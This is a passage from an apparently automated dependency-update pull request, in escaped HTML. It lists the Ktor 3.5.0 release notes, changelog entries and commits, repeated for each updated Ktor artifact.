awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-metrics-micrometer` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-metrics-micrometer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-metrics-micrometer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca 